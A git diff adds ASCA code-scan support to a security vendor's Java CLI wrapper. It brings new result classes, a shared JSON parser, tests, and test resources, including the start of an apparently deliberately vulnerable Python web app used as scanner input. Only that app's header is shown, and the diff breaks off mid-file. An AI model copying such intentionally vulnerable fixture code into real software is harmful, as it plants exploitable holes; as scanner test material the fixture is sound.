diff --git a/src/main/java/com/checkmarx/ast/asca/Error.java b/src/main/java/com/checkmarx/ast/asca/Error.java new file mode 100644 index 00000000..738dad4a --- /dev/null +++ b/src/main/java/com/checkmarx/ast/asca/Error.java @@ -0,0 +1,19 @@ +package com.checkmarx.ast.asca; +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import lombok.Value; + +@Value +public class Error { + public int code; + public String description; + + @JsonCreator + public Error( + @JsonProperty("code") int code, + @JsonProperty("description") String description) + { + this.code = code; + this.description = description; + } +} diff --git a/src/main/java/com/checkmarx/ast/asca/ScanDetail.java b/src/main/java/com/checkmarx/ast/asca/ScanDetail.java new file mode 100644 index 00000000..97e97f26 --- /dev/null +++ b/src/main/java/com/checkmarx/ast/asca/ScanDetail.java @@ -0,0 +1,53 @@ +package com.checkmarx.ast.asca; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.annotation.JsonDeserialize; +import lombok.ToString; +import lombok.Value; + +@Value +@ToString(callSuper = true) +@JsonDeserialize() +@JsonInclude(JsonInclude.Include.NON_NULL) +@JsonIgnoreProperties(ignoreUnknown = true) +public class ScanDetail { + + int ruleID; + String language; + String ruleName; + String severity; + String fileName; + int line; + String problematicLine; + int length; + String remediationAdvise; + String description; + + @JsonCreator + public ScanDetail( + @JsonProperty("rule_id") int ruleID, + @JsonProperty("language") String language, + @JsonProperty("rule_name") String ruleName, + @JsonProperty("severity") String severity, + @JsonProperty("file_name") String fileName, + @JsonProperty("line") int line, + @JsonProperty("problematicLine") String problematicLine, + @JsonProperty("length") int length, + @JsonProperty("remediationAdvise") String remediationAdvise, + @JsonProperty("description") String description + ) { + this.ruleID = ruleID; + this.language = language; + this.ruleName = ruleName; + this.severity = severity; + this.fileName = fileName; + this.line = line; + this.problematicLine = problematicLine; + this.length = length; + this.remediationAdvise = remediationAdvise; + this.description = description; + } +} diff --git a/src/main/java/com/checkmarx/ast/asca/ScanResult.java b/src/main/java/com/checkmarx/ast/asca/ScanResult.java new file mode 100644 index 00000000..62783a63 --- /dev/null +++ b/src/main/java/com/checkmarx/ast/asca/ScanResult.java @@ -0,0 +1,46 @@ +package com.checkmarx.ast.asca; + +import com.checkmarx.ast.utils.JsonParser; +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.annotation.JsonDeserialize; +import com.fasterxml.jackson.databind.type.TypeFactory; +import lombok.ToString; +import lombok.Value; + +import java.util.List; + +@Value +@ToString(callSuper = true) +@JsonDeserialize() +@JsonInclude(JsonInclude.Include.NON_NULL) +@JsonIgnoreProperties(ignoreUnknown = true) +public class ScanResult { + + String requestId; + boolean status; + String message; + List scanDetails; + Error error; + + @JsonCreator + public ScanResult( + @JsonProperty("request_id") String requestId, + @JsonProperty("status") boolean status, + @JsonProperty("message") String message, + @JsonProperty("scan_details") List scanDetails, + @JsonProperty("error") Error error + ) { + this.requestId = requestId; + this.status = status; + this.message = message; + this.scanDetails = scanDetails; + this.error = error; + } + + public static T fromLine(String line) { + return JsonParser.parse(line, TypeFactory.defaultInstance().constructType(ScanResult.class)); + } +} diff --git a/src/main/java/com/checkmarx/ast/project/Project.java b/src/main/java/com/checkmarx/ast/project/Project.java index 9ff24963..eb15e571 100644 --- a/src/main/java/com/checkmarx/ast/project/Project.java +++ b/src/main/java/com/checkmarx/ast/project/Project.java @@ -1,5 +1,6 @@ package com.checkmarx.ast.project; +import com.checkmarx.ast.utils.JsonParser; import com.checkmarx.ast.wrapper.CxBaseObject; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; @@ -36,10 +37,10 @@ public Project(@JsonProperty("ID") String id, } public static T fromLine(String line) { - return parse(line, TypeFactory.defaultInstance().constructType(Project.class)); + return JsonParser.parse(line, TypeFactory.defaultInstance().constructType(Project.class)); } public static List listFromLine(String line) { - return parse(line, TypeFactory.defaultInstance().constructCollectionType(List.class, Project.class)); + return JsonParser.parse(line, TypeFactory.defaultInstance().constructCollectionType(List.class, Project.class)); } } diff --git a/src/main/java/com/checkmarx/ast/scan/Scan.java b/src/main/java/com/checkmarx/ast/scan/Scan.java index 2f22f710..73e6ba5a 100644 --- a/src/main/java/com/checkmarx/ast/scan/Scan.java +++ b/src/main/java/com/checkmarx/ast/scan/Scan.java @@ -1,5 +1,6 @@ package com.checkmarx.ast.scan; +import com.checkmarx.ast.utils.JsonParser; import com.checkmarx.ast.wrapper.CxBaseObject; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; @@ -43,10 +44,10 @@ public Scan(@JsonProperty("ID") String id, @JsonProperty("ProjectID") String pro } public static T fromLine(String line) { - return parse(line, TypeFactory.defaultInstance().constructType(Scan.class)); + return JsonParser.parse(line, TypeFactory.defaultInstance().constructType(Scan.class)); } public static List listFromLine(String line) { - return parse(line, TypeFactory.defaultInstance().constructCollectionType(List.class, Scan.class)); + return JsonParser.parse(line, TypeFactory.defaultInstance().constructCollectionType(List.class, Scan.class)); } } diff --git a/src/main/java/com/checkmarx/ast/tenant/TenantSetting.java b/src/main/java/com/checkmarx/ast/tenant/TenantSetting.java index 3ffcc2ed..7bf63501 100644 --- a/src/main/java/com/checkmarx/ast/tenant/TenantSetting.java +++ b/src/main/java/com/checkmarx/ast/tenant/TenantSetting.java @@ -1,5 +1,6 @@ package com.checkmarx.ast.tenant; +import com.checkmarx.ast.utils.JsonParser; import com.checkmarx.ast.wrapper.CxBaseObject; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; @@ -31,7 +32,7 @@ public TenantSetting(@JsonProperty("key") String key, @JsonProperty("value") Str } public static List listFromLine(String line) { - return CxBaseObject.parse(line, + return JsonParser.parse(line, TypeFactory.defaultInstance() .constructCollectionType(List.class, TenantSetting.class)); } diff --git a/src/main/java/com/checkmarx/ast/utils/JsonParser.java b/src/main/java/com/checkmarx/ast/utils/JsonParser.java new file mode 100644 index 00000000..a57497ad --- /dev/null +++ b/src/main/java/com/checkmarx/ast/utils/JsonParser.java @@ -0,0 +1,34 @@ +package com.checkmarx.ast.utils; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JavaType; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.apache.commons.lang3.StringUtils; + +import java.io.BufferedReader; +import java.io.IOException; + +public class JsonParser { + public static T parse(String line, JavaType type) { + T result = null; + if (!StringUtils.isBlank(line) && isValidJSON(line)) { + try { + result = new ObjectMapper().readValue(line, type); + } catch (JsonProcessingException e) { + e.printStackTrace(); + } + } + return result; + } + + private static boolean isValidJSON(final String json) { + try { + final ObjectMapper mapper = new ObjectMapper(); + mapper.readTree(json); + return true; + } catch (IOException e) { + return false; + } + } + +} diff --git a/src/main/java/com/checkmarx/ast/wrapper/CxBaseObject.java b/src/main/java/com/checkmarx/ast/wrapper/CxBaseObject.java index f9911c14..9ef198e8 100644 --- a/src/main/java/com/checkmarx/ast/wrapper/CxBaseObject.java +++ b/src/main/java/com/checkmarx/ast/wrapper/CxBaseObject.java @@ -34,26 +34,4 @@ protected CxBaseObject(@JsonProperty("ID") String id, this.updatedAt = updatedAt; this.tags = tags; } - - public static T parse(String line, JavaType type) { - T result = null; - if (!StringUtils.isBlank(line) && isValidJSON(line)) { - try { - result = new ObjectMapper().readValue(line, type); - } catch (JsonProcessingException e) { - e.printStackTrace(); - } - } - return result; - } - - public static boolean isValidJSON(final String json) { - try { - final ObjectMapper mapper = new ObjectMapper(); - mapper.readTree(json); - return true; - } catch (IOException e) { - return false; - } - } } diff --git a/src/main/java/com/checkmarx/ast/wrapper/CxConstants.java b/src/main/java/com/checkmarx/ast/wrapper/CxConstants.java index 4c4456d2..a192b603 100644 --- a/src/main/java/com/checkmarx/ast/wrapper/CxConstants.java +++ b/src/main/java/com/checkmarx/ast/wrapper/CxConstants.java @@ -27,6 +27,7 @@ public final class CxConstants { static final String SUB_CMD_SHOW = "show"; static final String RESULTS_BFL_SUB_CMD = "bfl"; static final String SUB_CMD_LIST = "list"; + static final String SUB_CMD_ASCA = "asca"; static final String SUB_CMD_CREATE = "create"; static final String SUB_CMD_CANCEL = "cancel"; static final String CMD_TRIAGE = "triage"; @@ -50,7 +51,9 @@ public final class CxConstants { static final String CWE_ID = "--cwe-id"; static final String LANGUAGE = "--language"; static final String VULNERABILITY_TYPE = "--vulnerability-type"; - static final String FILE_SOURCES = "--file"; + static final String FILE = "--file"; + static final String FILE_SOURCE = "--file-source"; + static final String ASCA_LATEST_VERSION = "--asca-latest-version"; static final String ADDITONAL_PARAMS = "--additional-params"; static final String ENGINE = "--engine"; static final String SUB_CMD_KICS_REALTIME = "kics-realtime"; diff --git a/src/main/java/com/checkmarx/ast/wrapper/CxWrapper.java b/src/main/java/com/checkmarx/ast/wrapper/CxWrapper.java index 5822fa73..3f20df19 100644 --- a/src/main/java/com/checkmarx/ast/wrapper/CxWrapper.java +++ b/src/main/java/com/checkmarx/ast/wrapper/CxWrapper.java @@ -1,5 +1,6 @@ package com.checkmarx.ast.wrapper; +import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.codebashing.CodeBashing; import com.checkmarx.ast.kicsRealtimeResults.KicsRealtimeResults; import com.checkmarx.ast.learnMore.LearnMore; @@ -12,6 +13,7 @@ import com.checkmarx.ast.results.result.Node; import com.checkmarx.ast.scan.Scan; import com.checkmarx.ast.tenant.TenantSetting; +import com.checkmarx.ast.utils.JsonParser; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.type.CollectionType; import com.fasterxml.jackson.databind.type.TypeFactory; @@ -216,6 +218,33 @@ public List projectList(String filter) throws IOException, InterruptedE return Execution.executeCommand(withConfigArguments(arguments), logger, Project::listFromLine); } + public ScanResult ScanAsca(String fileSource, boolean ascaLatestVersion, String agent) throws IOException, InterruptedException, CxException { + this.logger.info("Fetching ASCA scanResult"); + + List arguments = new ArrayList<>(); + arguments.add(CxConstants.CMD_SCAN); + arguments.add(CxConstants.SUB_CMD_ASCA); + arguments.add(CxConstants.FILE_SOURCE); + arguments.add(fileSource); + if (ascaLatestVersion) { + arguments.add(CxConstants.ASCA_LATEST_VERSION); + } + + appendAgentToArguments(agent, arguments); + + return Execution.executeCommand(withConfigArguments(arguments), logger, ScanResult::fromLine); + } + + private static void appendAgentToArguments(String agent, List arguments) { + arguments.add(CxConstants.AGENT); + if (agent != null && !agent.isEmpty()){ + arguments.add(agent); + } + else{ + arguments.add("CLI-Java-Wrapper"); + } + } + public List projectBranches(@NonNull UUID projectId, String filter) throws CxException, IOException, InterruptedException { this.logger.info("Fetching the branches for project id {} using the filter: {}", projectId, filter); @@ -229,7 +258,7 @@ public List projectBranches(@NonNull UUID projectId, String filter) return Execution.executeCommand(withConfigArguments(arguments), logger, - line -> CxBaseObject.parse(line, BRANCHES_TYPE)); + line -> JsonParser.parse(line, BRANCHES_TYPE)); } public List codeBashingList(@NonNull String cweId, @NonNull String language, @NonNull String queryName) throws IOException, InterruptedException, CxException { @@ -336,7 +365,7 @@ public KicsRealtimeResults kicsRealtimeScan(@NonNull String fileSources, String List arguments = new ArrayList<>(); arguments.add(CxConstants.CMD_SCAN); arguments.add(CxConstants.SUB_CMD_KICS_REALTIME); - arguments.add(CxConstants.FILE_SOURCES); + arguments.add(CxConstants.FILE); arguments.add(fileSources); arguments.add(CxConstants.ADDITONAL_PARAMS); arguments.add(additionalParams); diff --git a/src/main/java/com/checkmarx/ast/wrapper/Execution.java b/src/main/java/com/checkmarx/ast/wrapper/Execution.java index 4ad8d782..8aec03d5 100644 --- a/src/main/java/com/checkmarx/ast/wrapper/Execution.java +++ b/src/main/java/com/checkmarx/ast/wrapper/Execution.java @@ -1,6 +1,7 @@ package com.checkmarx.ast.wrapper; import org.slf4j.Logger; + import java.io.*; import java.lang.reflect.Field; import java.net.URL; @@ -49,7 +50,7 @@ static T executeCommand(List arguments, stringBuilder.append(line).append(LINE_SEPARATOR); T parsedLine = lineParser.apply(line); if (parsedLine != null) { - if (areAllFieldsNotNull(parsedLine)) { + if (areAllFieldsNotNull(parsedLine) || isAscaRequest(arguments)) { executionResult = parsedLine; } } @@ -62,6 +63,10 @@ static T executeCommand(List arguments, } } + public static boolean isAscaRequest(List arguments) { + return (arguments.size() >= 3 && arguments.get(1).equals("scan") && arguments.get(2).equals("asca")); + } + private static boolean areAllFieldsNotNull(Object obj) { for (Field field : obj.getClass().getDeclaredFields()) { field.setAccessible(true); @@ -75,6 +80,7 @@ private static boolean areAllFieldsNotNull(Object obj) { } return true; } + static String executeCommand(List arguments, Logger logger, String directory, diff --git a/src/test/java/com/checkmarx/ast/ScanTest.java b/src/test/java/com/checkmarx/ast/ScanTest.java index a1813f47..42f20027 100644 --- a/src/test/java/com/checkmarx/ast/ScanTest.java +++ b/src/test/java/com/checkmarx/ast/ScanTest.java @@ -1,5 +1,7 @@ package com.checkmarx.ast; +import com.checkmarx.ast.asca.ScanDetail; +import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.kicsRealtimeResults.KicsRealtimeResults; import com.checkmarx.ast.scan.Scan; import org.junit.jupiter.api.Assertions; @@ -19,6 +21,44 @@ void testScanShow() throws Exception { Assertions.assertEquals(scanList.get(0).getId(), scan.getId()); } + @Test + void testScanAsca_WhenFileWithVulnerabilitiesIsSentWithAgent_ReturnSuccessfulResponseWithCorrectValues() throws Exception { + ScanResult scanResult = wrapper.ScanAsca("src/test/resources/python-vul-file.py", true, "vscode"); + + // Assertions for the scan result + Assertions.assertNotNull(scanResult.getRequestId(), "Request ID should not be null"); + Assertions.assertTrue(scanResult.isStatus(), "Status should be true"); + Assertions.assertNull(scanResult.getError(), "Error should be null"); + + // Ensure scan details are not null and contains at least one entry + Assertions.assertNotNull(scanResult.getScanDetails(), "Scan details should not be null"); + Assertions.assertFalse(scanResult.getScanDetails().isEmpty(), "Scan details should contain at least one entry"); + + // Iterate over all scan details and validate each one + for (ScanDetail scanDetail : scanResult.getScanDetails()) { + Assertions.assertNotNull(scanDetail.getRemediationAdvise(), "Remediation advise should not be null"); + Assertions.assertNotNull(scanDetail.getDescription(), "Description should not be null"); + } + } + + + @Test + void testScanAsca_WhenFileWithoutVulnerabilitiesIsSent_ReturnSuccessfulResponseWithCorrectValues() throws Exception { + ScanResult scanResult = wrapper.ScanAsca("src/test/resources/csharp-no-vul.cs", true, null); + Assertions.assertNotNull(scanResult.getRequestId()); + Assertions.assertTrue(scanResult.isStatus()); + Assertions.assertNull(scanResult.getError()); + Assertions.assertNull(scanResult.getScanDetails()); // When no vulnerabilities are found, scan details is null + } + + @Test + void testScanAsca_WhenMissingFileExtension_ReturnFileExtensionIsRequiredFailure() throws Exception { + ScanResult scanResult = wrapper.ScanAsca("CODEOWNERS", true, null); + Assertions.assertNotNull(scanResult.getRequestId()); + Assertions.assertNotNull(scanResult.getError()); + Assertions.assertEquals("The file name must have an extension.", scanResult.getError().getDescription()); + } + @Test void testScanList() throws Exception { List cxOutput = wrapper.scanList("limit=10"); diff --git a/src/test/resources/csharp-file.cs b/src/test/resources/csharp-file.cs new file mode 100644 index 00000000..8cd38371 --- /dev/null +++ b/src/test/resources/csharp-file.cs @@ -0,0 +1,538 @@ +using ast_visual_studio_extension.CxWrapper.Exceptions; +using ast_visual_studio_extension.CxWrapper.Models; +using log4net; +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Windows.Navigation; + +namespace ast_visual_studio_extension.CxCLI +{ + public class CxWrapper + { + private readonly CxConfig cxConfig; + private readonly ILog logger; + + public CxWrapper(CxConfig cxConfiguration, Type type) + { + cxConfiguration.Validate(); + cxConfig = cxConfiguration; + + + logger = LogManager.GetLogger(type); + } + + /// + /// Auth Validate command + /// + /// + public string AuthValidate() + { + logger.Info(CxConstants.LOG_RUNNING_AUTH_VALIDATE_CMD); + + List authValidateArguments = new List + { + CxConstants.CLI_AUTH_CMD, + CxConstants.CLI_VALIDATE_CMD + }; + + return Execution.ExecuteCommand(WithConfigArguments(authValidateArguments), line => line); + } + + /// + /// Get Results command + /// + /// + /// + /// + public Results GetResults(Guid scanId) + { + string results = GetResults(scanId.ToString(), ReportFormat.json); + + return JsonConvert.DeserializeObject(results); + } + + /// + /// Get Results Summary command + /// + /// + /// + public ResultsSummary GetResultsSummary(string scanId) + { + string results = GetResults(scanId, ReportFormat.summaryJSON); + + return JsonConvert.DeserializeObject(results); + } + + /// + /// Get Results with provided report format + /// + /// + /// + /// + public string GetResults(string scanId, ReportFormat reportFormat) + { + logger.Info(string.Format(CxConstants.LOG_RUNNING_GET_RESULTS_CMD, scanId)); + + string tempDir = Path.GetTempPath(); + // Remove backslashes at the end of path, due to paths with spaces + // \"C:\\My temp\\\"" -> "C:\My temp\" -> the last double quotes gets escaped + // \"C:\\My temp\" -> "C:\My temp" + if (tempDir.EndsWith("\\")) + { + tempDir = tempDir.Substring(0, tempDir.Length - 1); + } + + string fileName = Guid.NewGuid().ToString(); + + List resultsArguments = new List + { + CxConstants.CLI_RESULTS_CMD, + CxConstants.CLI_SHOW_CMD, + CxConstants.FLAG_SCAN_ID, scanId.ToString(), + CxConstants.FLAG_REPORT_FORMAT, reportFormat.ToString(), + CxConstants.FLAG_OUTPUT_NAME, fileName, + CxConstants.FLAG_OUTPUT_PATH, tempDir, + CxConstants.FLAG_AGENT, CxCLI.CxConstants.EXTENSION_AGENT, + }; + + string extension = string.Empty; + + switch (reportFormat) + { + case ReportFormat.json: + extension = ".json"; + break; + case ReportFormat.summaryJSON: + extension = ".json"; + break; + case ReportFormat.summaryHTML: + extension = ".html"; + break; + } + + return Execution.ExecuteCommand(WithConfigArguments(resultsArguments), tempDir, fileName + extension); + } + + /// + /// Get Projects command with default filter + /// + /// + public List GetProjects() + { + return GetProjects(CxConstants.LIMIT_FILTER); + } + + /// + /// Get Projects command with provided filter + /// + /// + /// + public List GetProjects(string filter) + { + logger.Info(CxConstants.LOG_RUNNING_GET_PROJECTS_CMD); + + List resultsArguments = new List + { + CxConstants.CLI_PROJECT_CMD, + CxConstants.CLI_LIST_CMD, + CxConstants.FLAG_FILTER, + filter, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + string projects = Execution.ExecuteCommand(WithConfigArguments(resultsArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(projects); + } + + /// + /// Show project command + /// + /// + /// + public Project ProjectShow(string projectId) + { + logger.Info(string.Format(CxConstants.LOG_RUNNING_PROJECT_SHOW_CMD, projectId)); + + List projectShowArguments = new List + { + CxConstants.CLI_PROJECT_CMD, + CxConstants.CLI_SHOW_CMD, + CxConstants.FLAG_PROJECT_ID, + projectId, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + string project = Execution.ExecuteCommand(WithConfigArguments(projectShowArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject(project); + } + + /// + /// Get Branches command + /// + /// + /// + public List GetBranches(string projectId) + { + logger.Info(string.Format(CxConstants.LOG_RUNNING_GET_BRANCHES_CMD, projectId)); + + List branchesArguments = new List + { + CxConstants.CLI_PROJECT_CMD, + CxConstants.CLI_BRANCHES_CMD, + CxConstants.FLAG_PROJECT_ID, + projectId + }; + + string branches = Execution.ExecuteCommand(WithConfigArguments(branchesArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(branches); + } + + /// + /// Get scans command + /// + /// + /// + /// + public List GetScans(string projectId, string branch) + { + logger.Info(string.Format(CxConstants.LOG_RUNNING_GET_SCANS_FOR_BRANCH_CMD, branch)); + + string filter = string.Format(CxConstants.FILTER_SCANS_FOR_BRANCH, projectId, branch); + + return GetScans(filter); + } + + /// + /// Get scans command with no filter + /// + /// + public List GetScans() + { + logger.Info(CxConstants.LOG_RUNNING_GET_SCANS_CMD); + + return GetScans(string.Empty); + } + + /// + /// Get scans command with provided filter + /// + /// + /// + public List GetScans(string filter) + { + List scansArguments = new List + { + CxConstants.CLI_SCAN_CMD, + CxConstants.CLI_LIST_CMD, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + if (!string.IsNullOrEmpty(filter)) + { + scansArguments.Add(CxConstants.FLAG_FILTER); + scansArguments.Add(filter); + } + + string scans = Execution.ExecuteCommand(WithConfigArguments(scansArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(scans); + } + + /// + /// Scan show command + /// + /// + /// + public Scan ScanShow(string scanId) + { + logger.Info(string.Format(CxConstants.LOG_RUNNING_GET_SCAN_DETAILS_CMD, scanId)); + + List scanArguments = new List + { + CxConstants.CLI_SCAN_CMD, + CxConstants.CLI_SHOW_CMD, + CxConstants.FLAG_SCAN_ID, + scanId, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + string scan = Execution.ExecuteCommand(WithConfigArguments(scanArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject(scan); + } + + /// + /// Scan show command + /// + /// + /// + public async Task ScanShowAsync(string scanId) + { + return await Task.Run(() => ScanShow(scanId)); + } + + /// + /// Triage Update command + /// + /// + /// + /// + /// + /// + /// + public void TriageUpdate(string projectId, string similarityId, string scanType, string state, string comment, string severity) + { + logger.Info(CxConstants.LOG_RUNNING_TRIAGE_UPDATE_CMD); + logger.Info(string.Format(CxConstants.LOG_RUNNING_TRIAGE_UPDATE_INFO_CMD, similarityId, state, severity)); + + List triageArguments = new List + { + CxConstants.CLI_TRIAGE_CMD, + CxConstants.CLI_UPDATE_CMD, + CxConstants.FLAG_PROJECT_ID, + projectId, + CxConstants.FLAG_SIMILARITY_ID, + similarityId, + CxConstants.FLAG_SCAN_TYPE, + scanType, + CxConstants.FLAG_STATE, + state + }; + + if (!string.IsNullOrEmpty(comment)) + { + triageArguments.Add(CxConstants.FLAG_COMMENT); + triageArguments.Add(comment); + } + + triageArguments.Add(CxConstants.FLAG_SEVERITY); + triageArguments.Add(severity); + + Execution.ExecuteCommand(WithConfigArguments(triageArguments), line => null); + } + + /// + /// Triage Show command + /// + /// + /// + /// + /// + public List TriageShow(string projectId, string similarityId, string scanType) + { + logger.Info(CxConstants.LOG_RUNNING_TRIAGE_SHOW_CMD); + logger.Info(string.Format(CxConstants.LOG_RUNNING_TRIAGE_SHOW_INFO_CMD, projectId, similarityId, scanType)); + + List triageArguments = new List + { + CxConstants.CLI_TRIAGE_CMD, + CxConstants.CLI_SHOW_CMD, + CxConstants.FLAG_PROJECT_ID, + projectId, + CxConstants.FLAG_SIMILARITY_ID, + similarityId, + CxConstants.FLAG_SCAN_TYPE, + scanType, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + string predicates = Execution.ExecuteCommand(WithConfigArguments(triageArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(predicates); + } + + /// + /// Codebashing link command + /// + /// + /// + /// + /// + public List CodeBashingList(string cweId, string language, string queryName) + { + logger.Info(CxConstants.LOG_RUNNING_CODEBASHING_CMD); + + List codebashingArguments = new List + { + CxConstants.CLI_RESULTS_CMD, + CxConstants.CLI_CODEBASHING_CMD, + CxConstants.FLAG_LANGUAGE, + language, + CxConstants.FLAG_VULNERABILITY_TYPE, + queryName, + CxConstants.FLAG_CWE_ID, + cweId, + }; + + string codebashingLink = Execution.ExecuteCommand(WithConfigArguments(codebashingArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(codebashingLink); + } + + /// + /// Learn More and Code Samples + /// + /// + /// + public List LearnMoreAndRemediation(string queryId) + { + List learnMoreRemediation = new List + { + CxConstants.CLI_UTILS_CMD, + CxConstants.CLI_LEARN_MORE_CMD, + CxConstants.FLAG_QUERY_ID, + queryId, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE, + }; + + string learnMoreRemediationSamples = Execution.ExecuteCommand(WithConfigArguments(learnMoreRemediation), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject>(learnMoreRemediationSamples); + } + + /// + /// Tenant settings command + /// + /// + public List TenantSettings() + { + logger.Info(CxConstants.LOG_RUNNING_TENANT_SETTINGS_CMD); + + List arguments = new List + { + CxConstants.CLI_UTILS_CMD, + CxConstants.CLI_TENANT_CMD, + CxConstants.FLAG_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + string jsonStr = Execution.ExecuteCommand(WithConfigArguments(arguments), Execution.CheckValidJSONString); + + var tenantSettings = JsonConvert.DeserializeObject>(jsonStr); + + return tenantSettings ?? throw new CxException(1, "Unable to get tenant settings"); + } + + + /// + /// Check tenant settings for IDE scans enabled + /// + /// + public bool IdeScansEnabled() + { + List tenantSettings = TenantSettings(); + + return bool.Parse(tenantSettings.Find(s => s.Key.Equals(CxConstants.IDE_SCANS_KEY)).Value); + } + + + /// + /// Check tenant settings for IDE scans enabled + /// + /// + public async Task IdeScansEnabledAsync() + { + return await Task.Run(() => IdeScansEnabled()); + } + + /// + /// Scan create command + /// + /// + /// + /// + public Scan ScanCreate(Dictionary parameters, string additionalParameters) + { + logger.Info(CxConstants.LOG_RUNNING_SCAN_CREATE_CMD); + + List scanCreateArguments = new List + { + CxConstants.CLI_SCAN_CMD, + CxConstants.CLI_CREATE_CMD, + CxConstants.FLAG_SCAN_INFO_FORMAT, + CxConstants.JSON_FORMAT_VALUE + }; + + foreach (KeyValuePair entry in parameters) + { + scanCreateArguments.Add(entry.Key); + scanCreateArguments.Add(entry.Value); + } + + scanCreateArguments.AddRange(CxUtils.ParseAdditionalParameters(additionalParameters)); + + string scan = Execution.ExecuteCommand(WithConfigArguments(scanCreateArguments), Execution.CheckValidJSONString); + + return JsonConvert.DeserializeObject(scan); + } + + /// + /// Scan create command async + /// + /// + /// + /// + public async Task ScanCreateAsync(Dictionary parameters, string additionalParameters) + { + return await Task.Run(() => ScanCreate(parameters, additionalParameters)); + } + + /// + /// Scan cancel command + /// + /// + /// + public void ScanCancel(string scanId) + { + logger.Info(CxConstants.LOG_RUNNING_SCAN_CANCEL_CMD); + + List scanCancelArguments = new List + { + CxConstants.CLI_SCAN_CMD, + CxConstants.CLI_CANCEL_CMD, + CxConstants.FLAG_SCAN_ID, + scanId + }; + + Execution.ExecuteCommand(WithConfigArguments(scanCancelArguments), line => null); + } + + /// + /// Scan cancel command + /// + /// + /// + public async Task ScanCancelAsync(string scanId) + { + + await Task.Run(() => ScanCancel(scanId)); + } + + + /// + /// Add base arguments to command + /// + /// + /// + private List WithConfigArguments(List baseArguments) + { + List arguments = new List(); + arguments.AddRange(baseArguments); + arguments.AddRange(cxConfig.ToArguments()); + return arguments; + } + } +} diff --git a/src/test/resources/csharp-no-vul.cs b/src/test/resources/csharp-no-vul.cs new file mode 100644 index 00000000..8b974d8d --- /dev/null +++ b/src/test/resources/csharp-no-vul.cs @@ -0,0 +1,44 @@ +namespace EvidenceResolver.Tests.Contract +{ + public static class MockProviderServiceExtenstion + { + public static IMockProviderService WithRequest(this IMockProviderService mockProviderService, + HttpVerb method, object path, object body = null, Dictionary headers = null) + { + var providerServiceRequest = new ProviderServiceRequest + { + Method = method, + Path = path + }; + + providerServiceRequest.Headers = headers ?? new Dictionary + { + {"Content-Type", "application/json"} + }; + + if (body != null) { + providerServiceRequest.Body = PactNet.Matchers.Match.Type(body); + } + + return mockProviderService.With(providerServiceRequest); + } + + public static void WillRespondParameters(this IMockProviderService mockProviderService, + int status, dynamic body = null, Dictionary headers = null) + { + if (body == null) { + body = new { }; + } + + var expectedResponse = new ProviderServiceResponse + { + Status = status, + Headers = headers ?? new Dictionary + {{"Content-Type", "application/json; charset=utf-8"}}, + Body = PactNet.Matchers.Match.Type(body) + }; + + mockProviderService.WillRespondWith(expectedResponse); + } + } +} \ No newline at end of file diff --git a/src/test/resources/python-vul-file.py b/src/test/resources/python-vul-file.py new file mode 100644 index 00000000..0c74d4e5 --- /dev/null +++ b/src/test/resources/python-vul-file.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python +import html, http.client, http.server, io, json, os, pickle, random, re, socket, socketserver, sqlite3, string, sys, subprocess, time, traceback, urllib.parse, urllib.request, xml.etree.ElementTree # Python 3 required +try: + import lxml.etree +except ImportError: + print("[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if os.name != "nt" else "https://pypi.python.org/pypi/lxml")) + +NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.2b", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Unlicense (public domain)" +LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412 +HTML_PREFIX, HTML_POSTFIX = "\n\n\n\n%s\n\n\n\n" % html.escape(NAME), "
Powered by %s (v%s)
